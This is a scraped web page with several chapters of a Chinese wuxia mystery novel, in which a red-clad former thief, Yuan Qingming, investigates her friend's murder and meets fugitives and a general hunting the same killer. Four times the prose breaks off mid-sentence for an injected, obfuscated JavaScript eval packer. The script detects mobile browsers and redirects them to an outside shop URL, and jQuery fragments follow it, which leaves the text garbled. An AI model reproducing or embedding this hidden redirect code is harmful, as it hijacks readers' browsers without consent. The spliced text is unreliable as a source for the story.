陈俭的死讯,震惊了整个郡府。 郑家小公子一案尚未查清,郡城督吏又死于非命——身上连一处伤口都没有。龚都尉只觉一个头有两个大,这两件疑难之案若都不能解决,他告老还乡之前,是绝不用指望还能升任了。 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027493|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俭的尸体择日入葬,龚都尉着人去给他唯一的亲人——远嫁明州的长姐传信。入夜,陈府冷清下来,月牙黯淡地挂在檐角,忽然有一个身影,猫一样地溜进了院子。 正是袁清明。 她却仍穿着一身惹眼的红衣,所幸附近无人,才不致暴露。推开屋门,屋内仍保留着陈俭遇害那晚的样子,袁清明燃亮火折子,四下打量起来。 陈俭的家,她倒也来过几次,这屋内陈设物事和记忆中没有什么差别——除了,桌上的茶壶和茶盏。 据她所知,陈俭不是一个爱喝茶的人。 既拿出了茶,说明家里必定来了客人。茶盏桌上两只,门槛附近还有一只,她记得陈俭的尸身便是倒在门槛处,那么这只茶杯,很可能就是凶器了。 不用武器,而以茶盏杀人,这人必定武功极高。可陈俭不爱交际,连朋友都没几个,性子又温厚敦良,怎会惹上仇家?如此想来,这人杀害陈俭,只可能有一个原因——灭口。 袁清明一瞬间想到了那个谢檐长。 莫不成,他真是杀害郑家小公子——他亲生儿子的凶手? 寒意漫上背脊,她不由得打了个冷战,这瑟瑟冬夜,似乎更加冰凉而无情。 郡府的人告诉她,陈督吏或是喝多了,不慎失足而死。她一点也不信。 陈俭酒量虽然不好,但也不至三两壶就神志不清。再者,那晚她是亲眼目送他离开的,若他已不省人事,她怎能放心他独自回家? 想到这里,她又有些自责。 如果她送他回来……或许他就不会死了。 ———————————— 袁清明决定去郑府住上几日——当然,是住在院子里的树上。 时令虽已入冬,但沐山郡毕竟在越国南部,相较北方州郡还是暖和得多。木叶常青,夜风不寒,这也为袁清明的潜伏提供了不少便利。 这棵梧桐树位置极佳,趴在粗壮的树枝上,透过密密层层的绿叶,她能将谢檐长房间内的情况看得一清二楚——而且,十分稳固,即使夜里睡着了,也断不会不小心跌落下来。 她便在这棵树上,住了五日。 郑香月每日午后会带着小公子到院子里玩,她有时唤他“阳儿”,有时唤他“泽儿”,四周侍女似乎没有一个觉得不妥。谢檐长每日晨起就离开了,通常傍晚时分才归,陪郑香月吃过晚饭,再同郑楚泽玩闹片刻,待郑香月睡下,他往往还要秉烛阅案,快到子时才就寝。 谢檐长入睡后,袁清明便到郑府各处,翻一翻卷册,听一听值夜侍卫女婢间的议论。 谢檐长始终温和有礼,对郑香月呵护有加,对下人也宽容体恤。他极有才能,郑府诸事,被他打理得井井有条,府中上下,没有一个人不信服他,不喜欢他。 ——确然诡异。 她是局外人,反倒看得透彻。他的每一个笑脸,他嘴角和眼角弯起的弧度,好似经过精密的计算,而分毫不差。 第六天,她离开了郑府。 这里已无更多线索,或者说,沐山郡内,已无更多线索。 她打算按照陈俭的思路,也去候津县看一看。远行之前,她准备先回城郊的茶铺一趟。 然而,才走出城门不远,身后忽然一阵阴风,袁清明心下凛然,刷地抽出腰间短刀,反身顿足,重重与来人一击! 29. 你养过猫吗? 一击之后,两个人都退了一步。 “你会武功?”那个袭击者却一怔。 “你是什么人?是谁让你来杀我?”袁清明厉声质问。 那袭击者却不说话了,拔刀再次向袁清明砍来。 长刀猎猎当风,却因此多了笨重。袁清明本就是做飞贼的,身形刀法都比那人快上许多,眼见刀风磅礴,她却不慌不乱,看准时机,左脚向前一迈,短刀擦着长刀,已如轻薄的冰,贴上了那人咽喉。 袁清明的目色也结了冰:“我再问你一遍,是谁叫你来的?” 那人忙不迭弃了刀,语音颤抖:“我……不知道,我,我没有见过那人样貌,他,他蒙着面……” “身形,兵刃。” “那,那人极高,比我约莫高出了一个头。兵刃……是刀,长刀,挂在腰间,但具体样式,我也,也没有看清……” 袁清明抬手斜斜一挑,那人气息已绝。 “我可没有他那么仁慈。”袁清明低低道,目光黯了一瞬。然后她收起短刀,将那人尸首拖进草丛,拍拍手走了。 幕后主谋,竟然不是谢檐长。 不过,她行走江湖,得罪过不少人,有一个两个想杀她的,也不足为奇。等幕后主谋发现尸体,她大概已经离开沐山郡了。 ———————————— 袁清明在沐山郡郊外,开了一间茶铺。 说是一间茶铺,其实不过一间简陋低矮的木屋,屋内仅有一张桌子,屋外支了个遮雨的棚顶,又放了两张桌子。 茶铺在城郊边缘,离郡城有很远一段距离,是为行客歇脚之用。袁清明开这茶铺不为赚钱,只是有一个落脚之处。屋里没什么值钱物事,她经常外出,便在桌上放好茶壶茶碗,供行客自行取用。 不过,大多客人离开时,都会往门旁铜罐里扔几枚钱。 回到茶铺,她看见一个褐衣刀客,正坐在屋内喝茶。 “客官,赶路辛苦了。”袁清明打了声招呼,“不过,我还有事,还要再出去一趟。” 那刀客神容冷淡,眼也不抬。 袁清明撇撇嘴,这样的客人,她倒也见得多了。于是她自去屋内,抱出来一坛酒。 “那,客官您自便?” 那刀客仍无半句回应,袁清明也不再多言,迈出了门槛。 她去了陈俭的墓。 下葬不久,泥土仍染着潮湿,墓碑亦尚未蒙尘。她静静在墓前立了半晌,才抬手将酒坛泥封拍开。 冬风清瑟,牵着酒香,湿润了她的双眼。她与陈俭相识已有五年,二人虽性格迥异,竟莫名成了知己好友。五年前,她去郡府偷东西,那日正巧陈俭当值,她被抓了个正着。 她的轻功远比陈俭高,只是,陈俭后来说,是她一身红衣太显眼,他早已发现了她,于是一早叫侍卫埋伏在四周,只待她出手。 他却没有押送她入狱,而是屏退了众人,问她,为何行窃。 “你们这些当官的,没有一个好人!”袁清明年轻气盛,不管不顾地就往他脸上啐了一口,“本姑娘今日认栽,要杀要剐,悉听尊便!”她没有读过书,唯听过些话本,偏偏将最后这八个字记得一清二楚。 她总觉得,这八个字里,有一种视死如归刚正不阿的江湖侠气。 陈俭没能避开,口水喷了他一脸。但他并未恼怒,只抬起袖子抹了把脸,十分无奈地道:“我不想杀你,我只是想问,姑娘怨恨官府,可是有什么冤情?” “冤情?如果是为了冤情,我一早把贼人杀了。”袁清明冷哼一声,“你们这些当官的,在城内吃好的,喝好的,村子里却有孩子因为没饭吃而饿死。如果世上真有索命的鬼,你们一个也别想好过!” 陈俭一怔:“所以姑娘行窃,是为了救那些孩子?” “是又如何?”袁清明抬起下巴,犹义愤填膺。 陈俭静了静,忽而起身,将绑住袁清明手腕的绳索松开了。 “你,你干什么?你不怕我杀了你?”袁清明不知他唱的哪一出,惊疑不定地后退了一步。 陈俭拱手,微微躬身道:“村民食不果腹,是我等失职。还请姑娘与我详说,明日,我就会向郡丞禀报此事。” 袁清明没有说话,半信半疑地打量着他。 “姑娘虽出善意,然而偷盗行窃,终究不是正途。姑娘今日之举,我可以不做追究,但请姑娘答应我,不会再偷窃财物。” 袁清明不禁想,他是不是傻?“你不怕我为了逃命,假装答应你?” “姑娘心存仁善,我愿意相信姑娘。”陈俭却十分诚恳地道。 “你说话文绉绉的,哪里像要捉犯人,我看更像是书生。”袁清明撇撇嘴,继而展颜一笑,“好,我袁清明不喜欢亏欠人情,我答应你。” 后来,袁清明便开了那间茶铺,偶尔也替官府抓抓小贼,打探情报,换一些报酬。 后来,袁清明时常去找陈俭喝酒聊天,说些乡野见闻,陈俭也会同她说起未决的案件,请她一起出谋划策,二人渐渐成为了朋友。 可就是这么一个善良敦厚,正直勤勉的人,却不明不白地死了。 袁清明仰头喝下一口酒,余下的,她便尽数倒进了泥土里。 山河无垠,夕光如潋滟的梦,安详地笼罩着原野。梦中的人,不再醒了。 后来,她依旧没有换下红衣,因为她早早死去的母亲患有眼疾,穿着鲜艳的红色,母亲才能找到她。 今后,她的身上,又要多背负一个人的生命了。 ———————————— 回到茶铺时,夕阳已落,天际云霞散尽,夜色只一团昏昧朦胧。郊外空旷,夜风细细地呜咽,纵有内力护体,袁清明也不禁觉得有些冷了,收拾行囊之前,她决定先找出一件厚衣穿上。 然而踏进店门,她的脚步一顿。 白日里那个不喜言辞的褐衣刀客,仍在。 袁清明试探地问:“这位客官,可是在……等人?”她实在想不到他在茶铺里停留两个时辰的理由。 刀客倒了一碗茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036770|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝了。 还是无话。 袁清明也不想管他了,反正等天色再暗一些,她收好行囊,就要离开了。 袁清明没什么行李,只两三件衣物,一把碎银。收好之后,她又在房中睡了半个时辰,养精蓄锐,直到天色完全黑透,她推开门,尽量和颜悦色地对那个刀客下“逐客令”:“客官,小店要关门了。不是我非要赶您走,若在平时,您待到子时也不要紧,但今日我有事,您要等人,麻烦去其他地方吧。” 毕竟不是外出散步,她的行踪,越少的人知道越好。 那刀客静了静,终于开口道:“你养过猫吗?” “什么?”袁清明以为自己听错了。 “猫儿可爱,许多人都喜欢。”那刀客却自语般说了下去,“只是,要把指甲剪掉,否则抓起人,还是很疼的。” “客官……”袁清明听得云里雾里,“您,被猫抓伤了?” “都说猫有九条命,但猫仍然会死。”那刀客终于抬起头,望向袁清明,“因为,它实在太好奇了。” 话音未落,袁清明已急退! 那眼中,尽是杀气! 下一瞬间,刀客已拍案而起,刀光冷然如冬月,削向袁清明脖颈! “你是什么人!”袁清明已退至门外,躲过了那一刀。 “你知道了太多。”刀客再进一步,第二刀紧随其后。 “知道太多?”袁清明微顿,脑中一个念头一闪而过,“白日里来杀我的,是你的人?” “却没料想,你有几分武功。”刀客冷冷道,便是承认了。 袁清明已抽出短刀,却不敢正面迎击,再度向后急退,躲过了第二刀:“你是谢檐长的人?” 那刀客却不再回答,一步跃出门槛,长刀破空,直向袁清明眉心刺来! 又是杀招! 袁清明的功夫以轻巧见长,但这刀客内力比她深厚不少,正面硬碰,只怕一击也撑不住。她只得一面再退,一面抄起手边木凳向他砸去! “杀害小公子的,是不是你!” 她忽然记起,这人身形,和陈俭所述,郑香月对凶手的描述一模一样! 那刀客一刀砍断木凳,眼中却突然燃起怒火,刀风狂肆,向袁清明重重斩落! 袁清明只得再退,几乎是她毕生最快的速度。气流撞上撑着茶铺的柱子,本就是简陋的一截树枝,此刻承受不住那刀客真气,折成两截,整个棚顶便轰隆隆地砸落下来! 然而袁清明没有时间心疼,旷野疏星,她不指望有谁能来救她。这人她打不过,唯一的生机,只有拼一拼她最擅长的轻功——逃走。 可是—— 根本来不及。 眼见刀刃如电光,就要刺穿她的心脉,突然间,不知从何处,一丛明亮的剑光刺破了长夜,将那噬人的电光劈断成两截! 随后,一个人落在她与那刀客之间,手中长剑剑光葳蕤,如夏草疯长,绵延繁茂,似乎点燃了整座山野。 是安晏,拦住了那把刀。 30. 如果你想杀我 刀客后退了三步。 方才不过一击,他已虎口半麻,险些握不稳刀。那剑气浩瀚磅礴,胜他数倍,他瞬间明白,他不是对手。 他抬头看了那持剑的女子一眼,不再迟疑,飞快地跑走了。 安晏没有去追,轻轻呼了口气,收剑还鞘,转身对袁清明笑了笑:“没受伤吧?” 袁清明却不敢收刀,后退半步,举刀横在胸前,狐疑地盯着安晏:“你又是谁?” 虽然,这女子才刚救了她,应该不会……其实也要杀她吧? “姑娘不必如此戒备,我们并无恶意。”不远处,响起一道温润的男声,袁清明回过头,见是一位白衫玉冠的男子正向她们走来,“我叫墨白,她叫安晏,她是一名大夫。” 安晏点点头:“我们不会伤害你,你想想,我的武功比你厉害得多,如果我真的想杀你,你肯定已经死了不是?” 袁清明竟真的歪头认真思考了片刻:“也对。”随即将短刀收回腰间,再向安晏一抱拳,“我叫袁清明,多谢姑娘路见不平,拔刀,不是,拔剑相助。” 安晏扑哧一声笑了,顿觉这袁姑娘颇合她脾气,忍不住上前挽住她的手:“谢就不必了,我们正好也有事想问你。外面风凉,咱们进屋说?” 袁清明似乎有些别扭,但毕竟安晏是她救命恩人,她也不好抽出手来,就应了声,随安晏向茶铺走去。 路过墨白身边的时候,她忍不住多看了两眼。 墨白察觉到她的目光,这原本是稍显失礼之举,但他却全不在意似的,仍笑得温柔如新月。待二人走过,他跟在身后,也向茶铺走去。 袁清明心中却不知怎的,有一种说不出的不协调感。 “袁姑娘,刚刚那个刺杀你的人,是你的仇家?”安晏突然问道,打断了她的思绪。 “我并不认识他。”袁清明回过神,“也算不上仇家,应该是,来杀我灭口的。” 安晏目色微闪,却未立即追问。茶铺外断木残瓦横斜一地,安晏小心地绕过,一边叹道:“真是全毁了,这茶铺的主人明早看见,不知要诅咒那人多少遍。但幸好,屋子没事。” 袁清明咽了咽口水:“我就是这间茶铺的主人。” “什么?”安晏一怔,“你?我以为……那,袁姑娘,这个,节哀顺变?” 袁清明也不由得笑了,她抽出手,抱起门旁的铜罐:“幸亏没用陶罐,开茶铺几年挣的钱,都在这铜罐里了。虽然也没几个钱,不及我替官府跑一趟挣得多。” 她进了门,将铜罐搁在墙角,安晏和墨白在桌边坐下,袁清明拿来茶壶茶杯,放在桌上,又去点燃烛灯:“没什么好茶,只能润润喉咙。” “行路劳累,这润喉之茶,就是世间最上佳之茶。”墨白温和地道,自觉地拿过茶壶,为三人各倒了一杯。 “墨公子是个读书人?”袁清明在安晏对面坐下,不客气地先喝了一杯。 墨白微微一笑:“家世没落,不足提了。” 袁清明撇撇嘴,也不勉强,又问安晏:“那,你们想问什么?是沐山郡里的事?” 安晏也喝下茶水,才凝眸道:“我们并非偶然路过沐山郡,而是,在追查一个人。” 袁清明皱眉:“我认识?” 安晏也不打算隐瞒,就道:“我们听说了郑家小公子被杀的案件,三日前,我们已潜入郡府,暗中查看过案件相关卷宗,了解到事情大致经过,也知道调查此案的督吏被杀了。这件案子,疑点颇多,凶手行事诡异,不合常理,但其手法,却很像我们正在追查之人所为。袁姑娘这几日,是否也在调查此案?” 烛火幽幽,袁清明目色微沉:“是又如何?不是又如何?” 她终究不敢完全相信他们。 安晏察觉到她的戒备,但并未点破,只又笑了笑:“袁姑娘,我们也想查清真相,在这一点上,我们的目标是一致的。我们听闻你和陈督吏相交已有数年,或许你知道关于此案的更多内情,于是打听到你的住处,前来询问。赶到这里时,正巧遇见你被那杀手袭击,这才出剑救下你。” 袁清明不禁问:“就连陈俭,都不知道我住在哪里,你们从什么地方打听到的?” 墨白浅笑着接话道:“姑娘一身红衣,有心追查,踪迹并不难寻。” “又是红衣。”袁清明不由得嘀咕道,“好吧,你要问什么?我出了趟远门,不久前才回到沐山郡,关于郑家小公子被杀一案,知道的也不多。” 安晏直言道:“我想问一问,郑家女婿谢檐长,是怎样的一个人?” 袁清明顿时警惕起来:“他是什么人?” 她也怀疑谢檐长,陈俭也怀疑谢檐长,但面前这二人,又与谢檐长是什么关系? 安晏却仿佛知晓袁清明心中的疑惑:“方才说过,我们正在追查一个人,前年夏天,他在成州杀了许多人,而后便销声匿迹了。这两年时间,我们二人遍行越国各州,打探他的踪迹,却始终一无所获。直到近日,听闻郑家小公子被杀之案,我们一下子便想到了他。” 听完安晏的解释,袁清明却没有回答。 她看着安晏,忽又转目看向墨白,半晌目光又再转向安晏,烛火忽明忽暗,渐渐映出她脑中的一张图卷:“等等,我好像,在哪里见过……你们,你们是两年前,成州杀人案的凶手?” “看来,成州一案真的震惊四野,你远在清州,竟也知晓此事。”安晏笑着摇了摇头,无奈地道,“按通缉令上所述,我们的确是凶手。” 袁清明狐疑地打量着她,觉得她话中有话:“我时常帮官府跑腿,各个地方的大案子,都知道一些。成州那案子的凶手,据说十分厉害,就连刑审院高手也没能抓到,就是你们?——不过,你们的确厉害,刑审院那些人抓不到你们,也不奇怪。” 安晏饶有兴趣地看着她:“你倒是不怕我们?” 袁清明一扬眉:“你不是说了吗,如果你想杀我,我早就死了。我既然没死,说明你不想杀我,那我怕什么?” “哈哈哈,是,你说得很有道理。”安晏笑了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047894|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,愈发觉得袁清明和她脾气相投,“不过呢,我们不是凶手,那是官府硬安在我们头上的罪名。我们正在追查之人,就是此案真正的凶手。” “真的?”袁清明脱口道,“那人是谁?” 安晏凝视着她,目色幽亮,染透烛火:“我们猜测,是谢檐长。” 袁清明张了张口,却沉默了。 她侧开头,低眉沉思了很久,很久,才终于下定了什么决心似的一拍桌子:“安姑娘,我相信你说的。谢檐长这个人,确实有很多疑点,陈俭当时也很怀疑他,我……” 她正待与安晏详说,后者却抬起手,打断了她。 “我们换个地方再说。” 袁清明立时警觉地四下环视:“这附近有人?” “目前还没有,但是,”说着,安晏已起身,“刚才那个杀手杀你不成,应该不会就此放弃,这间茶铺已经不安全了,我们不能在这里停留太久。刚才那个人,我当然不怕,但如果谢檐长真的是我们在追查的人……他的武功,比我更高。只我一人倒没什么,可如果还要保护你们二人,我只怕不能赢。” 墨白的瞳孔微微一缩。 也就是说,安晏她其实有办法,能赢。 她果真学会了那个剑法,是吗? 袁清明也站了起来,很是赞同地道:“你说得对,我在沐山那头还有一间屋子能住人,虽然很久没去了,但应该还能用,咱们去那吧。” ———————————— 沐山脚下的屋子,是袁清明原先做飞贼时的落脚之所。 山石凹处,木叶荫庇,确是隐藏行踪的好地方。 然而这居所端实简陋,只一间木屋,连个院子厨房都没有,推开门,灰尘扑簌簌地落了袁清明一头一脸,她赶忙向后跳开,双手在面前挥舞了半晌,才转过头,有些不好意思地对安晏和墨白道:“那个,这是我以前的家,但足有五年没住人了,所以灰尘有点多……” “没事。”安晏笑眯眯地道,从包裹里拽出三条蒙口鼻用的面布,递给墨白和袁清明各自一条,“山脚下不是有一条小溪吗?一间小屋,我们三人,半个时辰就打扫完了。” 她已经很久,没有住过像“家”一样的地方了。 自从开始追寻伏焱,自从成为了通缉要犯……她不敢光明正大地进城住店,只能借宿村居,甚至在废弃的寺庙破屋内凑合一晚,都是常事。 若只有她,倒无所谓,可墨白却也被她连累,一路受尽辛苦。 他总是说,只要她在,他就不觉得辛苦,他总是笑容温暖,极爱拿她寻开心,三两句话就撩拨得她心猿意马。可到底,他也只是怕她自责在安慰她吧。江湖奔波,风餐露宿,怎会有人不觉得苦,不觉得累呢。 她看着袁清明翻找木桶的背影,慢慢地垂下了眼睫。 ———————————— 转日清晨,袁清明和墨白起床的时候,安晏已经走了。 她并非只是去附近觅食打水,而是带上佩剑和包裹,离开了他们。 31. 你不该知道 袁清明在山脚四周转了一圈,全然不见安晏的踪迹,只得悻悻然回到木屋:“安姑娘真的离开了,你……”她脚步一顿,墨白正立在桌前,长眉微蹙,看着手中的一封信。 “是安姑娘留下的信?”她问。 “是。”墨白将信递给袁清明,坐回床上,右手用力地按住眉心。 她竟给他和袁清明下了迷药。 袁清明展信看了两眼,而后为难地望向墨白:“那个,墨公子……我不识字……” 墨白静了静:“她说,她去查案了,让你我不要去找她。”还说,成州一案已渐渐无人提及,他可以改名换姓,离开清州,也离开她,从此平常生活,不要再涉足江湖。 袁清明走到墨白身前:“你打算怎么办?” 墨白垂目,却未言。 “墨公子,”袁清明紧紧皱起眉头,话音不禁染上几分质问,“你们追查杀人凶手,究竟是为了什么?” 墨白抬起头:“袁姑娘此言,又是何意?” 袁清明目色微冷:“你们,真的只是为了洗清冤屈,才会追查杀人凶手吗?” 墨白却轻轻笑了。 他昨日便觉得,这袁姑娘虽然目不识丁,武功也实在平常,但感觉却分外敏锐。她的江湖经验,说不定比他更多。 他于是道:“她想去杀了那个人。” 袁清明果真敏锐地察觉到了:“她?那你呢?” 墨白不再回答,起身,从她手中抽走那封信,扔进了未竟的炉火。而后,他背对着她,开始整理床褥。 “你……不去追她吗?”他这副不急不慌的样子,令她没来由地烦躁恼怒,“你们怀疑那个谢檐长,安姑娘又说去查案,她是不是打算闯进郑府?郑府和郡府一直有很多来往,府中侍卫也有很多,那个谢檐长不知道会不会武功,而且还有一个江湖人帮他做事,实在太危险了,你不去吗?” 墨白无动于衷地道:“她不是说了,不要去找她吗?” “你——”袁清明被他的话一堵,更加怒不可遏,“亏你还是她的,她的朋友!就算你没有武功,可你怎么能眼看着朋友去那么危险的地方,不管也不问!行,你怕危险,你不去,我去就是了!” 说着,提刀就向外走。 “袁姑娘,”墨白却在身后叫住了她,语气温和而无奈,“安晏不会直冲冲地闯进郑府,她身法灵巧,人也机敏,定会寻找时机潜入府中,暗中观察,再搜寻谢檐长身份的证据。我们二人此时过去,只会给她添麻烦罢了。” 袁清明顿了顿,收回了步子。 许是觉得墨白所言在理,她的神色也恢复了平静。然而她回身打量着墨白,目光却仍十分怀疑:“你和安姑娘,究竟是什么关系?” 墨白笑得温煦可掬:“袁姑娘觉得,我和她是什么关系?” “你们……是朋友?”袁清明抓抓后脑,“可又好像……” 她忽然一顿,门外,一个身形提拔,剑眉星目的男人,已走近木屋。 “我也始终想问,你和安姑娘,究竟是何关系。” 袁清明刷地退开一步,右手按上刀柄:“你是谁?” 他是什么时候来的?她竟直到他走得如此近了才察觉。他又是如何知道这里的?他们昨日,被人跟踪了吗? 墨白的神色却殊无意外,他面对着来人,轻轻一勾嘴角:“顾将军,许久不见。” 从他烧掉信纸的时候,他就听见了山道上的脚步声。 袁清明怔了怔,看看这个,又看看那个:“你们……认识?你是墨公子的朋友?” 既是将军,应当不是坏人吧? 墨白却又笑了:“确然认识,但可称不上朋友。我与安晏的罪名,全得益于这位顾将军。” “墨公子。”顾将军冷肃地道,“安姑娘在何处?” 墨白目色微霜:“自是去查找真相,捉拿真凶了。” 顾鸿云听出他的讽刺之意,但未作反驳,只追问道:“方才这位姑娘的问题,你还没有回答。” “很重要吗?”墨白噙着笑,目光里冰雪昭然,偏嘴角眼角都仍是温和的弧度,“安晏始终是无辜的。” “那么,你呢?” “那二十四起杀人案,亦与我无关。” 顾鸿云却瞬间抓住了墨白言语中的漏洞:“黄老头的死,吉祥酒楼老板的死、伙计的死,街头乞丐的死,是否与你有关?” 墨白仍笑着,神色从容:“如果你想听那些人的死与我有关,那就与我有关。如果你想听我说杀过人,那我就杀过人。顾将军,当日郡尉谗言,你偏听偏信,私扣罪名于我们二人,为何我二人之言,你就不愿听,不愿信了?” 顾鸿云沉着脸色,半晌方道:“如果你与安姑娘皆无辜,你们为何要逃,那乞丐何三,为何会死?” 墨白冷笑一声,仿佛听见了一句再荒唐不过的话:“顾将军,那乞丐死了,自然是真凶灭口,与我们何干。我们要逃,自然是因为你听信谎言,要送我们入狱。这件事,安晏早和你解释过了吧?” 顾鸿云不由得沉默了。 他想起了那日在云励县,是安晏救下了他。 曲家一案解决,他的伤势也渐渐康复,他想去找一找安晏和墨白身世的线索,却一无所获。 有关安晏的记录,是从南疆开始的,转了大半个越国,最后到达成州。而有关墨白的记录,是从黎州开始的,南下至琼州,后又沿南疆北上,最后与安晏重合。然而南疆未有剑术世家,除了千峰谷,也无江湖门派;黎州更是没有一家墨姓氏族,各郡户册,也都未记载墨白此人。 至于他们为何会同行,顾鸿云更加想不出答案。 他实在毫无头绪,最终,只得沿着谢新柳留下的标记,一点点追上了他们,亲自一问究竟。 屋子里半晌无人开口,寂静得有如荒茔。袁清明最先忍不住了:“你们都是读书人,我听着却有点糊涂了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054521|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们到底是什么关系?原来到底发生了什么事?你们不讲清楚,我也不知道该帮谁不是?” “那便由我说明吧,若有不对之处,还请顾将军指正。”墨白笑着道,将他与安晏相遇,后与她一并查案,直至兴德郡,因在死者家中过夜,而被官府——顾将军指认为凶手。二人此后一边躲避追捕,一边继续寻找凶手,然而证人却莫名被杀,那吉祥酒楼一众伙计也一夜丧命,他却偏偏被人捉去,在酒楼内醒来—— 繁复种种,一一说明。 袁清明皱着眉头听完了,从头至尾,顾鸿云只字未言。 她当真思考了许久,而后向墨白走了两步:“我站墨公子这边,我觉得,安姑娘绝不会杀人。他们既然没有杀人,你身为朝廷命官,就不应该冤枉他们。” 顾鸿云沉目看向她:“姑娘是何人?又为何会识得他们二人?” “我……我是这间屋子的主人!”袁清明双手叉腰,重重一哼,“我恰巧也在追查凶杀案,我这里的凶手,恰巧和他们的凶手很像,于是就查到一处去了。” 顾鸿云眉心一紧:“那人在何处?” “你觉得那种杀人取乐,没有人心的杀人魔不存在,我却觉得存在。”袁清明道,眸中光影明暗,语气却是少见的郑重,“但我不会告诉你他在哪,我也想亲手杀了他,为我的朋友报仇。” 顾鸿云面上已染薄怒:“你们二人,合谋篡供,亦未可知!” “顾将军。”墨白清冷的声线忽截了进来,“你是不是,需要安晏成为凶手才行?” 顾鸿云怔住了。 墨白安静地看着他,神色清渺有如浮云,目光却深而远,好似无底的潭:“刑审院已经接手此案,可为何,你却仍在追查?一开始,案件情况不明,叫你调查倒也说得过去,可刑审院的人早就来了,将军却未归朝,莫非,是朝中不顺,遇到了什么难处?” 顾鸿云目色也深了下去。 他却无话可说。 墨白字字如刀,仿佛刺穿了他脆弱的壳。他素与右将军不合,做人又历来不够玲珑,在左将军处,也算不得能说上话的角色,不过倚仗着旧年战功,得在禁军中有一席之地。这次无功而返,右将军一派借机打压,左将军明哲保身,置之不理,他竟成了一个无事可做,无权在手的空壳将军。 但听墨白又问:“顾将军,你可否清楚,对你而言,更重要的是什么?” 语声涓涓,如暮春浅溪,响在耳中,却是振聋发聩之音。 他怔怔然望向墨白,一时竟不知道该说什么。胸腔里心脏砰然作响,仿佛是某些陈旧的声音,于冥冥中鼓噪回荡。 “顾将军。”墨白却似乎也不为听见他的回答,第三次开口时,那春溪已凝了薄冰,“你不该知道我和安晏的行踪,你不该知道这间木屋,是谁带你来的?” 顾鸿云回过神,望着墨白,目光终而渐渐复杂。 最后,他却什么都不再说,转身,离开了。 32. 寻找时机,杀了她 进入腊月,年节便不远了。郑府按例去各户农家视探,一来,为裁定明年收粮标价做准备,二来,也可借此笼络人心。 郑家谢公子温文儒雅,才德兼备,在乡间也颇具声名。他却没有一点架子,粗茶野果也吃得津津有味,乡野间小孩子吵闹,他也不恼,反而温和地一一抚过孩子们头顶:“我这里还有些正事,待午睡过了,我再陪你们玩,可好?” “谢公子,对不住,小孩子胡闹,我这就让他们出去。”乡间里正忙惶恐道。 “无妨,孩子天性。”谢檐长笑笑,“劳您陪我去各家走一走吧。” 巡视过后,谢檐长在里正家中用了午饭,下午日光明媚,他让里正叫来孩子们,在院子里蹴鞠。 乡民都有些不安,生怕孩子们不知轻重,谢檐长伤了,郑家定要怪罪到他们头上。但孩子们却兴致颇高,围着谢檐长,玩得好不热闹。 直到日色将西,谢檐长似乎终于有了倦意,便将鞠球扔给孩子们,携侍从向里正告辞。 里正身子躬着,几乎要贴到地面了:“招待不周,多有冒犯,还请谢公子不要怪罪。” “哪里的话,我倒觉得山野蔬果,更多几分清甜。”谢檐长温和地扶他起身,“天色已晚,就不必远送了。” 里正几人恭恭敬敬,将谢檐长送出院子,踏上马车之前,谢檐长却顿住脚,向远处遥遥望去,又微微勾起了嘴角。 远山苍翠,染着霞光,明艳如美人的酡颜。 “走吧。”他却没有说什么,掀帘进了马车。 ———————————— 安晏身上出了一层冷汗。 因她心中早有提防,才特意离得远了,怕谢檐长就是伏焱,会察觉到她的气息。然而就算她屏气敛声一动未动,就算她离他足有六间民居之隔,他却仍然发现了她。 安晏忽然觉得,杀死他,可能比想象中还要难。 但入夜之后,她仍然去了郑府。 反正他已经发现了,反正他没有来阻止她,那她干脆离得更近一些,也好知道,他究竟在想什么。 安晏潜上树冠,正是前些日袁清明藏身的那棵。卧房内灯烛温暖,郑香月坐在床边,耐心地哄着郑楚泽入睡。 就像一个静谧的,安宁的,平常的夜晚。 可是,郑楚泽入睡之后,郑香月站起身,走到桌边喝下一盏茶水,眉目却突然染上几分焦躁。 